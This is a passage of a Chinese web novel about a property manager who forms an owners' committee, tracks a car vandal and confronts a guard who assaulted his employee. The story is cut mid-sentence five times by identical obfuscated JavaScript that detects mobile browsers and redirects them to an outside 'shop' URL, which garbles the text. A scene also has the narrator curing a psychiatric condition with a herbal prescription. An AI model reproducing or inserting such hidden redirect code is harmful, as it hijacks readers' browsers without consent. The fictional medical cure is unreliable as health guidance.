“刘姐，我知道很难相信，我给你写个方子，你去抓药，先试一下才知道行不行是吧？如果你不试，你就无法验证，病呢也还会继续。” 我拿起笔边写边说：“你是血热血瘀，这病每到经期发作，属于月经期精神疾病，是五脏脏腑失调，阴阳失调导致的。放心，能治。” 刘姐拿着我给写的方子，半信半疑的看看我，“好，我就试试看有没有效果，吕向荣，如果真的治好了我的病，必定酬谢！” 我看着有点女汉子风范的刘姐，嘿嘿的笑了，“姐，一定管用！信我。” 第五十八章 辩证的看问题 派出去的几个人陆陆续续的都有了消息，江怀洲跟我说，园区里住着一位小领导，自己有一家企业，平时比较忙，他老婆全权管家，家里有一儿一女两个孩子。 “领导，我觉得这个人的老婆完全可以胜任业委会，你是没见着啊，那说话，七扯咔嚓的，思路很清晰，嘴巴也不饶人。” 我看着方言频出的江怀洲，暗自叹气，这小子，还得跟我多学好几年。 “怀洲，咱们说话就慢慢说，不着急，七扯咔嚓嘛，我倒是明白，但是以后面对高端园区的业主，咱们也得用他们能看得上的样子，明白不？” 江怀洲听懂了，不好意思的挠挠脑袋，我拍拍他的肩膀，“没事，你比我大，工作上我是你领导，生活中你是我哥。” 江怀洲很意外我能这么说，神情很动容。我就是这样一个人，不喜欢用领导的身份与人交往。 “这个领导的夫人愿意加入业委会么？”我转移到主题。 “倒是没和她提过，不过我看她挺愿意管事儿的，她住的那个单元，谁家水电费票子没拿，她都去敲门提醒。而且她没有工作，弄个业委会的事儿干干不是挺好么？” 我发自内心的肯定江怀洲，“不错，你这洞察力和分析能力，够用！” 江怀洲听到我的肯定，开心的笑了。 王敬之也给我带来一个奇葩消息，园区里住了一个“大师”，年纪接近60岁，平时愿意在自家院子里练太极、舞剑。 “师哥，人家那是锻炼，这就叫大师啦？”我斜眼看王敬之。 王敬之朝我翻了个白眼，“吕向荣，你着什么急，我话还没说完呢。” “那你说，你说。”我赶紧闭嘴，怕王敬之发飙。 “他懂《周易》，懂卦象，我和他聊过，受益匪浅。”我惊讶的看着王敬之，能让师哥夸的人还真不多。 “师哥，他会这些跟胜任业委会有啥关系？”我问。 “嘿，好你个吕向荣啊，你是不是故意的？他学习过这些，那在为人处世、得失成败这些事情上那就有很好的心态，也就是你说的情商，情商高的人加入业委会不是最佳么？” 王敬之说到了点子上，我看着他窃笑着，他直接就给了我一拳。 “哎，师哥，上班呢！别闹！”我边说边躲。 如果上天给了你一个可以知无不言言无不尽的人在身边，那可真是对你的一大厚爱。 经过大家的发言和整理，有四个人脱颖而出：江怀洲推荐的领导夫人毛芝云、王敬之推荐的周易爱好者陈佑良、还有社区工作人员牛爱玲、大学教授鲁林安。 还差一个人，实在是想不出谁合适，我一锤定音：“第五个人先想着，先做这四个人的工作，务必让他们答应来干！” 任务分配完毕，我们开始分头攻克。 最容易的就是社区接待我的那个工作人员牛爱玲，几乎没费什么口舌，她就同意了，用她的话说，“得有觉悟，园区治理好了，以后街道的工作也好开展。” 第二个缴械的是领导夫人毛芝云，她确实像江怀洲说的那样，思路清晰、语言犀利。 “吕经理，我首先得感谢你看得起我这个家庭主妇啊，我也很想为自己家园区发光发热，但是这事儿有点大，干不好还容易成为靶子，你得容我考虑考虑，跟我们家当家的商量商量。”毛姐眨巴着那双好看的凤眼瞅着我。 “毛姐，当然行啊，你跟咱姐夫好好唠唠，务必让他支持你，作为领导夫人，你绝对有这个能力和实力啊！至于靶子的事情，你不用这么想，我们物业才是靶子呢，咋能让你们业委会上呢！”我一顿陪笑。 “小吕啊，你可真会说话，你这孩子确实很好，比之前那几个强太多了。成，就冲你这么看得起姐，姐也争取不让你失望！” “得嘞！”我开心的笑起来，“毛姐对我的支持，必定不忘！” 最难的两个登场了，一个是周易爱好者陈佑良，另一个是大学教授鲁林安。 王敬之陪着我去会陈佑良，按年龄来说，应该管人家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158126|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫陈叔。 我们去的时候正赶上他在院子里舞剑，这老头的身子骨硬朗的，腰不弯背不驼，头发仅仅是微秃，舞剑的气势让人感觉呼呼生风。 “陈叔，好身手啊！您这身子骨哪像60岁的人，我们2、30岁的都比得过！” 陈佑良看着恭维他的我，笑眯眯的说：“吕经理，有什么事直接说就行，我也不喜欢拐弯抹角。” “陈叔真是爽快人，我听师哥说您有研究周易的爱好，这一点跟我姥爷一样，所以想过来跟您学习学习，唠唠嗑。”我想要找能迅速拉近距离的话题。 “你姥爷？他也是研究周易的？”老陈果然很感兴趣。 于是我就把我和王敬之小时候学习的经历，还有我姥爷教我们的东西，给老陈讲了一遍。 “吕经理，真想不到，你还有这内秀呢！太好了、太好了！以后有知音了。”老陈很开心的说。 “陈叔，我就是一介武夫，搞文化那些我师哥更在行。您要是问我中医、风水，那我能给您说出一些子午卯酉，您如果想聊周易，那您还是找我师哥。”我必 须谦虚。 “吕经理还跟我谦虚，欢迎你们常来，我们几个互相探讨、切磋。”陈佑良依然兴味不减。 我脑海中立刻有了主意，“陈叔，这没问题啊，您别嫌我俩烦就行，”我哈哈笑着。 “吕经理净说笑话，人生能遇一知己是难能可贵的事，我怎么会嫌你们烦。” “陈叔，有您这句话，我们以后一定常来。不瞒您说，自打接了城中花园这个物业，我每天愁的睡不好觉。现在百废待兴，物业费又收缴不上来，物业费收不上来就没钱修缮、改革，不修缮、改革，物业质量就上不来，业主更不愿意缴费，你说说，我咋整？” 我故意抛出问题，看着老陈。 老陈若有所思的看了看我，“吕经理，我能理解你的处境，但是，这事也不是没有办法解决，正像易经中说的一样，物极必反啊，事物都是两面性，得辩证的看。” 第五十九章 齐活 “陈叔您给解解惑。”我知道我成功了。 “首先肯定得有一方先让一步，做出妥协，另一方呢必须把握住机会，利用这一次把双方的信任建立起来，日后逐渐逐渐的，变成良性循环就好了。”老陈确实有研究。 “陈叔，业委会这个团队有了您，肯定是如虎添翼，您不要拒绝我，这是好事一桩，尤其对城中花园现在的业主来说。”我很诚恳的发出邀请。 老陈卡吧卡吧眼睛，知道自己已经走入了我的“圈套”，有点无奈，但是也有点跃跃欲试。 我知道对于一个退休赋闲的人来讲，能担起这么大个摊子，做事情，是很好的挑战。 “陈叔，别犹豫了，我也常在物业那边，没事儿我就陪您研究易经。”王敬之恰到好处的“勾搭”了一回老陈。 “你们两个可太会劝人了，好吧，我答应你们，但是咱可讲好啊，我得有话语权。” “肯定的啊，陈叔，我们选业委会也不是弄个幌子。”我当即表态。 搞定了陈佑良，就剩下鲁林安了，大学教授，这个职业对于我来说真的是高不可攀。 我没读过几年书，跟人家有什么共同语言呢？ 如果我一张口，就被人家觉得鄙陋，那还能继续后话么？ 王敬之看出了我的犹豫，“吕向荣，你别还没去呢，就长别人威风啊，再是教授，也是人，是人就有弱点，你得这么想，才能搞定他。” “师哥，那你有啥好主意？我这回听你的。”我确实没有点子。 “今天先回去，容我研究研究。”我跟在王敬之后边屁颠屁颠的回了住地。 连游说再策划的能有一个星期过去了，王敬之还没想出办法，牛爱玲却突然造访了物业，跟她一起来的还有刘姐。 “小吕，哎呀，你可是我的大救星，第一副药我喝完了，特别好，感觉神清气爽，尤其睡觉，再也不会噩梦连连了。”刘姐一进门，还没坐下就赶紧汇报成绩。 “刘姐，我说了信我没差吧？”我微笑着表示一切尽在我掌握中。 “对！以后我就信你了，你今天再把把脉看看，药方子要是不变，我就继续去抓药喝。” 我给刘姐切脉，看了她的面色、舌头，询问了现在的症状，“添一剂补肾气的，其它都不变，这次喝十天的量，再来看。” “小吕，姐不能让你白看，这红包是我的一点心意，你收下。”刘姐拿出一个鼓鼓囊囊的红包塞给我。 “刘姐，我不是为了收钱才帮你看病的，你快拿回去！”我是真心拒绝。 “你给我看好了病，哪有不付钱的道理呢？你拿着，别跟姐客气！”刘姐不依。 可是我真不想收，想了想，我说：“这样吧，我收您200，其余的您拿回去，然后您再帮我个忙，就当做对我表示的感谢，好不好？” 刘姐顿了顿，“行，你说吧，帮你什么忙？” 我瞅瞅牛爱玲，牛爱玲秒懂，“刘姐，他找你帮忙还能是啥啊，肯定是城中花园物业费的事儿呗。” 我赶紧纠正，“姐，我们现在选举业委会，还差一个人选，你帮弟弟寻么个人，把业委会先支起来，后续的事情我就好操办了。未来如果再遇到业主对物业不信任或者什么状况，也希望姐你能帮我们说说话，你放心，违反纪律的事肯定不让你做。” 刘姐笑了，“小吕，你可真是敬业，就这事儿啊，我以为什么重大的了不得的事情呢，这么严肃，这事儿怎么能抵得过我对你的感谢呢！你这次可以收我200，等下一回的，一定问好价格，我再让你看。至于选人这事，包在我身上，我确实有个人选很合适。” 我一听，乐坏了，困扰多天的事情这就解决了，进展神速啊！ “太好了！刘姐，你说的那个人是谁呢？”我急切的问。 “他是我们社区退休的老干部，今年65，身体很健康，主要是很有威信，有号召力，你问爱玲，他们都是这一片的老住户了，彼此都熟。” 牛爱玲恍然大悟，“姐，你说的是魏老师？”刘姐点点头。 我有点懵，搜寻着脑海里的业主档案，姓魏的老头，老师？谁呢？ “小吕，他不是老师，叫老师是我们对他的尊称，他就住在爱玲那栋楼，叫魏国强。” 我知道这个人，既然刘姐推荐了，一定差不了，就冲这身份，以后遇到问题应该也会相对容易解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158127|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 决。 “好！我今天就去拜访他，刘姐，你可帮了我大忙了。” “吕经理，去魏老师家，还是我陪你去，我帮你说服他，这个事我还是有把握的。”牛爱玲自告奋勇。 “小吕，这忙既然我帮了，我也陪你去，一定让他答应你！”刘姐也表态。 我当即收拾妥当，跟着牛爱玲和刘姐就去了魏国强家。 魏国强本人挺精神的，红光满面，头发并不稀疏，一看就是很注重生活品质的人。 “小刘、爱玲，你们怎么有空过来了？”魏国强打开门看着门外的我们。 “哎呦，还有吕经理，你们怎么凑一起的？快进来，进屋里坐。”魏国强很热情的让我们进屋坐。 “魏老师，今天来 找你的主要是吕经理，我和爱玲就是个中间人，哈哈。”刘姐很爽朗的笑着，感觉她应该和魏国强的关系很好。 “哦？吕经理造访是有什么事呢？”魏国强询问我。 这个时候虚与委蛇反倒不好，人家以前是领导，大局思维肯定有，我就有啥说啥，反倒更有胜算。 “魏老师，我是特意来请您出山的。咱们准备推选个业主委员会，委员会的目的是在业主和物业中间做好桥梁，把后续城中花园的物业问题一一解决掉。您以前就是机关干部，有管理经验，也能看到我们看不到的东西，这个位置非您莫属啊！” 魏国强看着一脸殷切的我，笑了笑，“吕经理，据我所知你来我们城中花园也没多久嘛，怎么知道我的底细知道的这么清楚？” “魏哥，是我推荐的。小吕治好了困扰我多年的恶疾，他要我帮忙，我就第一时间想到了你。城中花园的物业问题，也是社区的隐患，如果未来可以捋顺、走上正轨，不是好事一件嘛！您这能力，不发光发热，不浪费了？”刘姐还是笑呵呵的看着魏国强。 “我就说嘛，他怎么知道这么详细，原来是你们两个说的。”魏国强也笑了。 “魏老师，您就答应了吧，我现在也是其中之一，有您在，我心里更有底了。”牛爱玲也跟着帮衬。 “看来，你们是做足了准备工作了，不上还不行啊？”魏国强笑起来。 第六十章 民意调研 “吕经理，你先说说咱们业委会的成员都有谁啊？”魏国强问我。 “目前定下来的有毛芝云、陈佑良、牛爱玲，您算一个，不确定的还有鲁林安，我还没想好怎么去劝他加入。”我有些尴尬的看了看魏国强。 “林安啊，林安就交给我吧，我帮你搞定！”魏国强一口揽下重任。 我有点疑惑，“魏老师，您和鲁林安很熟？我看您这么有把握的样子。” “林安是我之前的下属，他跟我在一起干了5年，才调到学校教书的。”魏国强解了惑。 “噢，怪不得，那就行了，没问题了！今天是个好日子，咱们万里长征的第一步取得了明显的胜利！” 在座的几个人听着我这颇有些军旅味道的调调，都开心的笑了。 没几天，魏国强那边就传来了好消息，鲁林安答应了。 我把几个人拉到一个群里，建了一个沟通平台，并且告诉他们，周末晚上7点到物业办公室，咱们开个讨论会。 到了开会的时间，五个人都到了，都很准时，我知道这几个人选的靠谱。 “几位，今天占用你们的休息时间了，很感谢你们能给我这个机会！我吕向荣在这里先谢谢各位的支持！”说完我给大伙作了个揖，表示我由衷的谢意。 “吕经理，你的人格魅力确实不小，不但请动了我这老头子，还把魏国强也拉进来了，你挺厉害！”陈佑良笑眯眯的说。 “陈叔，这是你们大家信任我！接下来我要干的事也一定跟你们商量，必须对得住这份信任。咱们双方的目的是一致的，那就是把小区的物业水平搞上来，对不？” 我看向几个人，他们都不约而同的点头，得嘞！要的就是这个效果。 “吕经理，那你第一把火准备怎么烧？”毛芝云问我。 我笑了笑，“这也是我今天请各位来，要商量的事，我现在手里经费有限，但是还必须做成一件事，让业主们对物业的服务有改观，方便进一步收缴物业费，有了钱再进行下一步，这样一环套一环的推进工作。” “你想问我们这第一件事做什么？”魏国强说。 “是的，我想听听各位的意见。” 这时候一直没说话的鲁林安说话了，“吕经理，第一次见面，对你并不了解，是老魏极力拉我，我才决定来加入。作为一个普通业主，我觉得这第一件事你不应该问我们几个，我们恐怕代表不了大多数人的意见，第一把火这么重要，还是要谨慎。” 我觉得这大学教授的思路确实严谨，我倒是没想过这么深入。 “林安说的对，吕经理，你莫不如搞个民意调查，看看大家最想搞的是哪一个，咱们再搞哪一个，至于费用，到时候我们一起商量。”魏国强出了个主意。 陈佑良频频点头，“这个点子好，我同意。” 毛芝云也举手同意，牛爱玲自然也是，既然一票通过，好，先搞民意调查。 第二天我就带着团队风风火火的搞起了调研工作。 调研试卷我从集团要了范本，然后又根据城中花园的情况做了修改，都搞好以后，先拿到业委会的群里，听听大家的意见。 “吕经理，这个东西写的蛮全面的，我希望整改的好几项都在里面，看来，你是真的用心了。”鲁林安第一个表态。 “小吕，我这边没问题。”老魏回。 “我也过。”陈叔回。 牛爱玲和毛芝云也没意见。 分发试卷是我们挨家挨户去送的，包括租户也给送了，并且一再的告诉他们务必参与。 成果倒是不太理想，发出去很多，收回来的寥寥无几。 我看着团队里的几个人无精打采的样子，给他们打气，“没关系哈，都别丧气，这才哪到哪啊，咱们刚来人家地盘，就想改变人家的习惯，哪有那么容易，咱们得慢慢来，知道不？” 江怀洲看看我，嘿嘿的笑着说：“领导，你的心态真好，我觉着咱们这一次能行。” “别贫，大伙现在就把问卷统计统计 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158128|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，列出全部的问题，看看哪个呼声最多。” 人多干活就是快，一条条的出来了： 私家车越来越多，小区入口虽设有升降杆，但是无人值守，平常就是开启状态，很多外来车辆随意进入小区，本来就不充沛的停车位根本不够用。部分业主为了抢占停车位，用电动车、自行车占位，甚至还有私自安装地锁的 下水管道堵塞，反臭严重，尤其是家中经常会闻到下水道反的味道 小区里有好几段路都是坑坑洼洼的，每回路过都得小心翼翼，特别是下过雨之后，很多老人小孩出行都很不方便 小区缺少文体娱乐设施，绿化做的也不够 保安人员形同虚设，无法保证居民财产和人身安全 路灯、监控等设施损坏后，长时间无人维修 我可真是不看不知道，一看吓一跳，这么多问题，而且都是关乎大多数人生活的问题，怪不得这里的物业费收不上来，就这水平，换我我也不交物业费。 经过团队和业委会讨论，车位问题成了首要解决问题，而且这件事一旦解决，整体管理水平会有很明显 的改善。 可以说只要这件事成了，后续的就都好办了。 江怀洲跟我说：“领导，这事儿有难度啊，之前几拨物业把车位做过规划和租用，因为后来管理不善，一些业主不再续费，但是对外宣称位置是自己的，一些新来的业主知道这里不交物业费，所以就胡乱占用位置，双方本来就有矛盾，咱们现在想动奶酪，整不好会引起反抗啊！” “你说的现象我考虑了，但是咱们现在只能往前走，不能再后退。把之前的车位划分档案拿出来，还有缴费记录，有位置的不给变，通知他们续费；没位置的想办法给找位置，把业主有车的情况做好统计。”我发布指令。 结果发现，停车位远远不够，还有很多业主的车没处停，急需给他们找个安置的位置。 就在车位规划的工作如火如荼进行的时候，发生了一件棘手的事情。 第六十一章 划车贼 物业利用车位规划和收租，搞定了三分之二的停车位问题，还余下三分之一，是针对新搬进来的业主，之前没有租用过车位的，需要给他们找一片场地。 就在场地还没谈妥的节骨眼，物业连续几天接待了几个业主的划车反馈。 业主的车当晚好好的停在自己的位置上，第二天早上下去一看，车身被划了一圈的伤。 有的干脆在机器盖子上写了骂人的英文，业主找到物业调监控，抓肇事贼索赔。 我们调出各个点位的监控，都没有拍到有用的场景，这个贼好似很懂规避监控的位置，专挑能遮挡的地方下手。 业主在我的办公室吵吵嚷嚷的，说物业管理不力，我除了安抚，没有其它办法。 “吕经理，你们物业管不管？我这租车位的租金交了整整一年的，你总不能只收我钱，不管我事儿吧？”被划车的业主怒火中烧。 “业主，物业肯定得管啊，而且必须管到底，必须把划车贼给揪出来。” “那你说，什么时候能揪出来？我这车30多万，给划这样，我招谁惹谁了！” 我看着斜眼看我的王敬之，心里要骂人，这么蹩脚的事情都做，有什么不满说出来啊，划人家车干嘛呢！ “业主，你想一想，最近有没有跟园区的人发生过口角？有没有得罪过人？” “我都在这住了7、8年了，从来没有这样的事，就你们物业来了，搞什么调研之后就开始有事儿了。”这个业主开始信口开河。 我心里不高兴，但却不能表现出来，这时候王敬之给我递眼色，意思让我给他打发走，有话说。 “业主，你放心，物业一定尽快给你个结果，你先回去，好不好？”我劝。 “回去就回去，我在家等你们消息，如果你们物业不作为，我就去告你们！”业主一边嚷嚷一边往外走。 我的脑袋瓜子嗡嗡的，不管谁一不高兴了，都整个去告我们、去投诉，这服务行业怎么这么不好干呢！ “吕向荣，监控不好使，就靠人上吧，你蹲守下半夜，我蹲守上半夜。”王敬之出主意。 “师哥，蹲守不是不行，我也不怕没法睡觉，主要是能逮着不？你看这业主急的。” “逮不逮到的，试试呗，不试怎么知道呢？”王敬之回。 我想了一下，这件事也只能这么办。 还没等蹲守呢，鲁林安来物业了，“向荣啊，我的车被划了，我的行车记录仪拍到点东西。” “什么？你的车也被划了？”给我气到不行。 “太猖狂了！算你这起，一共划了五辆车了！”我拍案而起。 “生气解决不了问题，来，你看看我这个视频。”鲁林安的心态倒是很好，也没吵，人家不愧是大学教授，目的性就是强。 视频打开以后，那个视角看着就是行车记录仪的角度，时间显示夜里2点多，伴随着车轻微的抖动，顺着车窗的下沿，可以看到一个瘦弱的影子在围着车走，大约能2分钟左右吧，停了。 “鲁老师，这是正在划车的时候吧？”我问。 “是的，但是看不到是什么样的人。这个时间你可以记下去，如果你们要抓人的话，就看他这个时间在干嘛。”鲁林安说。 “鲁老师，你这个讯息提供的太好了，我们今晚就行动。”我说。 “向荣，还有件事，咱们业委会最近听到一些很正向的反馈，是关于你们物业的，说你们知道办实事，车位问题解决的好，门口进车改为车卡进入也很好，外来车辆再也不能随意进入了，安全多了。你们不要灰心啊，群众的眼睛雪亮的！”鲁老师殷切的望着我。 听到这个消息，我也很激动，被划车贼触发的坏心情减缓了很多。 “你放心，鲁老师，物业一定继续努力！” 送走了鲁老师，我召集江怀洲、王敬之布置“蹲守”计划。 “老江，你这脸怎么搞的？”我赫然发现江怀洲的额角简单粘了医用胶布，眼睛下边也有淤青。 “打架了？”我又问。 江怀洲支支吾吾的，不像要告诉我的样子。 “老江，你如果不和我说实话，我可不敢用你啊，当保安的绝对不能跟业主动手。” “没有，领导，我没和业主动手！”江怀洲赶紧解释。 “那你说，到底怎么回事？” 我很严肃的看着江怀洲，我知道只要我一严肃，他肯定得告诉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158129|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我。 “是、是柱子打的。”江怀洲小声说。 “柱子？名都那个流氓？”我气坏了，声音不自觉高了，敢打我的人！ “因为什么？在哪打的？” “领导，算了，我不想追究了。他们现在搬到城中花园了，也算是业主，实在不行，我辞职吧，您别为难。这段时间我特别感谢你能给我机会。”江怀洲一口气说出很多信息，那副吃了委屈又无奈的表情，像极了很多老实人被欺负时候的无奈。 “不行！敢打我的人，因为啥？你说！”我彻底怒了。 王敬之也在旁边怒目而视，这段时间的陪伴，他对江怀洲也很认可。 “因为咱们实行了车卡入园，他们 在这里租的房子，用的房子业主的车位，但是没交租金，我就把车位分给别人了，他们自然就没有车卡了。柱子直接就来找我理论，我跟他说道理，他不听，还给我打了。” “太放肆了！光天化日的，没王法了！”我跳脚了，尤其因为江怀洲在实施我的改革被打，就像是打我一样。 “走，我带你去找他理论！”我扯着江怀洲就要去找柱子。 王敬之给我拦下了，“吕向荣，你冲动！你想想你去了要理论什么？” “当然是理论打人的事！至少要道歉，然后赔偿，不然就报警。”我说。 “可是你打的时候没报警，伤又不重，警察能不能管？”王敬之问。 “师哥，他们这等于是在挑战我们物业的权威，如果其他业主知道了可以这样，那我们的工作还要不要做了？更何况，江怀洲为什么要挨打？他没做错！”我坚持。 “好，我陪你去，你答应我不许冲动，要好好说。”王敬之怕我惹事儿。 他知道我的本质是个刺儿头，我不怕事儿。 江怀洲很感动的看着我，“领导，要不算了吧，您能这么护着我，我已经很感动了，我没事，一点小伤。” “老江，现在已经不是你个人的问题了，这事如果影响扩散，对我们今后工作的开展很不利。你相信我，我一定给你讨回公道来！” 我丝毫没有犹豫的走出物业办公室，江怀洲和王敬之紧跟着我，我们直奔名都。 第六十二章 敢打我的人 一路上我设想了很多个场景，如果许德生出来护犊子，我就可以好好的跟许德生唠唠了，看看他有没有可能是杀害刘才东的凶手。 到了名都，里面的保安认识江怀洲，用疑问的眼神询问他，他小声的问：“我来找柱子，你跟他说一声。” 那个保安应该是跟江怀洲关系不错，赶紧用手台联系，只一会儿，那个保安就说让我们跟他走。 七转八转的穿过营业区，来到后边的保安办公室，我一进门，就看见一个膀大腰圆的家伙背对着我坐着。 “怎么着？老灯，还上门找我来了？挨打没够是不？”膀大腰圆边说边转过身。 我去，这形象，简直就是西游记里二师兄的徒子徒孙，肥头大耳，小眼睛，而且还是三白眼，胖的没有脖子，那个肚子像怀孕好几个月。 “还搬救兵来啦？咋的，要群殴还是单挑？我都奉陪。”柱子一副耀武扬威的样子。 “你好，您是柱子？”我不卑不亢的问。一般这样面相的人，因为脑满肠肥，思路都短路。 柱子果然看看我楞了，“是啊，你是谁啊？”他很意外，充满防备的看着我。 “我是城中花园的物业经理吕向荣，听说你对物业持车卡入门的规定有意见，我特意来拜访一下，把车位的事和你当面说清楚。”我依旧是不疾不徐。 “呦呵，物业经理咋的？还亲自登门，你是来替他出头的吧？我确实有意见，现在进门都进不去了，车停哪？你这规定就是不让我回家啊！而且据我所知也不光我一个人，好多人都怨声载道。”柱子理直气壮。 “这个事情可能我们工作人员没和你说清楚，改革方案是得到园区业主同意的，从业委会到社区、街道办事处，我们物业都备了案，得到了支持以后我们才开始推行的。” 我没理会满脸尴尬表情的柱子，继续说 “至于没有车位的业主，我们已经在旁边联系好了场地，您有点着急了，还把我们工作人员打了。我来之前和租您房子的业主打电话沟通了一下，他说他还没到派出所备案租你们房子的事情，让我先不着急给留车位。所以你这车位的事还得等。” “怎么着？你来拜访我，却说的都是麻烦，找茬的吧？”柱子一下子站起来瞪着我。 我根本没理那茬，虽然有身形的压迫，但是我不疾不徐的看看江怀洲脸上的伤，慢悠悠的说：“车位的事情我和你解释完了，给不给你车位，你去找租你房子的业主。现在，你打了我的人，怎么说？” “我就打他了，怎么着吧？你能怎么样？”柱子一副无赖的样子。 “我们报警了，你不但打了我们的人，还把门口进车的设备弄坏了，我们准备索赔。”王敬之怕我发火，拦在我面前说。 柱子一听报警，脸色稍有些慌乱，我看到以后，马上补充：“你打人的视频，我也正准备传到网上，据说你们名都是本市有名的商k，名都保安仗势欺人，这事如果扩散，是不是对你们名都的影响会很大？” “这你、你们”柱子开始语无伦次。 这时候保安室的门开了，我不用看也知道是矮囤矬来了。 “怀洲，怎么今天有空回来了？这几位都是谁？消控室不允许闲杂人等进的，柱子，你怎么回事？”许德生倒是挺会发现问题。 我和他打照面的时候，后者正用凌厉的眼神看着我，那神色根本没把我放在眼里。 “许总，这是城中花园的物业经理吕向荣，我们今天来是找柱子说打架的事情的。”江怀洲回答了许德生的问题。 “打架？谁打架？”许德生看到江怀洲脸上的伤，有一丝嗤笑，然后说：“老江，你怎么一点长进都没有呢？挺大个岁数守不住情绪，老惹事儿。” “你是柱子的领导吧？这件事我想我有必要告诉你知道，柱子在我的地盘打了我的人，撞坏了我的设备，还是一副无所谓的态度，我除了报警以外，稍后会把打人的视频放到网上，这就是你们名都培养的保安素质。”我一字一句的看着许德生的眼睛说。 许德生听到事态即将很严重，立刻变了脸，“柱子，谁让你去找茬的？你还想不想干了？你今天就给我打包滚蛋，有任何事都跟我们名都没关系，滚！” 我没想到许德生这么快就卸磨杀驴，我还以为他也会护犊子，没想到，果然是恶人心肠。 “许总，我知道错了，我错了，你罚我、打我，我都受着，求你不要开除我啊，我家里还等着我的钱回去生活啊！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158130|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柱子绷不住了，颐指气使没有了，取而代之的是彻底的害怕和惶恐。 许德生丝毫不为所动，我有气，看着他这么快就可以甩包。 “怀洲，我们走吧，既然这个许总这么懂得丢车保帅，我们也没必要替他们名都着想。这人不管你辞不辞，他都是在你们名都工作期间、在你们给租的房子物业闹了事儿，我相信广大网民有自己的判断。一个会所的保安都这么跋扈，哪个高端人士敢来消费！” 说完我转身就走，江怀洲和王敬之跟着我也往外走。 “吕经理，你等等，我们商量商量。”是许德生的声音。 我站住， 但是没回身。 “说吧，你们想要多少钱？”许德生的声音缓和下来。 我转过身，盯着许德生，很清楚的说：“我不是来讹你们钱的，我来给我的人讨公道的！江怀洲正确执行物业指令，他有什么错？他的医药费必须你们出，而且，打人者务必当面道歉，这个视频我也会录下来，以后如果再犯，我直接就发布到互联网，不会再来商量。” 许德生看着我硬气的样子，松了口气，好像对于他来说，只要要的不是钱，就好办。 他用眼神示意柱子，柱子心知肚明，跑到江怀洲身边，点头哈腰的说：“老江，对不起、对不起，我不该动手打你，你就当我是个屁，把我放了吧。你也知道我家里有个等着钱养活的老爹，你就大人不记小人过，好不好、好不好？” 江怀洲被柱子潸然泪下的语言触动，我知道他一定想着得饶人处且饶人，这老江啊，也是太善良。 “好，我接受，以后我们井水不犯河水，这篇翻过去了。”江怀洲果然很轻易的就松了口。 我想了想，不行，不能这么轻易，如果这样的话，保不齐他还会再犯。 “还没完啊，医药费你现在给转账，还有名誉损失费，只能多不能少。另外这个视频，我会保留的，包括你今天道歉的视频，你领导也听见了，如果再犯，绝不姑息。” 柱子痛苦的看着江怀洲，江怀洲知道不能折了我的面子，本来我就是为他出头的，这个时候他不能劝。 柱子一看没有任何松动的可能了，拿出钱包开始点钱。 第六十三章 凌晨跑步的女人 我们一行三人走出名都保安室的时候，许德生在我后面说：“吕经理，你不会一直这么幸运的，走着看。” 面对这这赤果果的挑衅，如果放在以前我一定怼回去了，但是现在，我在心里打定主意，一定要查清刘才东失踪的真相，如果跟许德生有关，绝不手软。 回到自己的阵地，划车贼还是要继续捉的，我看看江怀洲说：“老江，你先回去休息吧，把脸上的伤养一养，这几天我在这盯着。” 